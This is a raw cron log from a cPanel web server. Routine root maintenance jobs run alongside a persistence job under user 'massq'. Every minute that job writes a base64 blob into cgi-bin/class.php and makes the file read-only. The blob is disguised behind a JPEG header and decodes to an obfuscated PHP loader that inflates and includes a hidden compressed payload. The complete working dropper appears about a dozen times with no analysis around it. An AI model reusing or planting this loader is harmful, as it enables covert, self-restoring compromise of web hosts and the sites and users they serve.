Aug 31 19:14:01 server CROND[29230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:14:01 server CROND[29231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:14:01 server CROND[29232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:15:01 server CROND[29609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:15:01 server CROND[29610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:15:01 server CROND[29614]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 19:15:01 server CROND[29617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:15:01 server CROND[29618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:15:01 server CROND[29616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:15:01 server CROND[29613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:15:01 server CROND[29615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:16:01 server CROND[30482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:16:01 server CROND[30483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:16:01 server CROND[30481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:17:01 server CROND[30942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:17:01 server CROND[30943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:17:01 server CROND[30944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:18:01 server CROND[31323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:18:01 server CROND[31324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:18:01 server CROND[31325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:19:01 server CROND[31714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:19:01 server CROND[31715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:19:01 server CROND[31716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:20:01 server CROND[32099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:20:01 server CROND[32105]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:20:01 server CROND[32107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:20:01 server CROND[32106]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:20:01 server CROND[32108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:20:01 server CROND[32109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:20:01 server CROND[32111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:20:01 server CROND[32113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:20:01 server CROND[32112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:21:01 server CROND[498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:21:01 server CROND[499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:21:01 server CROND[500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:22:01 server CROND[1004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:22:01 server CROND[1006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:22:01 server CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:23:01 server CROND[1471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:23:01 server CROND[1472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:23:01 server CROND[1473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:24:01 server CROND[1842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:24:01 server CROND[1843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:24:01 server CROND[1844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:25:01 server CROND[2251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:25:01 server CROND[2255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:25:01 server CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:25:01 server CROND[2256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:25:01 server CROND[2260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:25:01 server CROND[2261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:25:01 server CROND[2263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
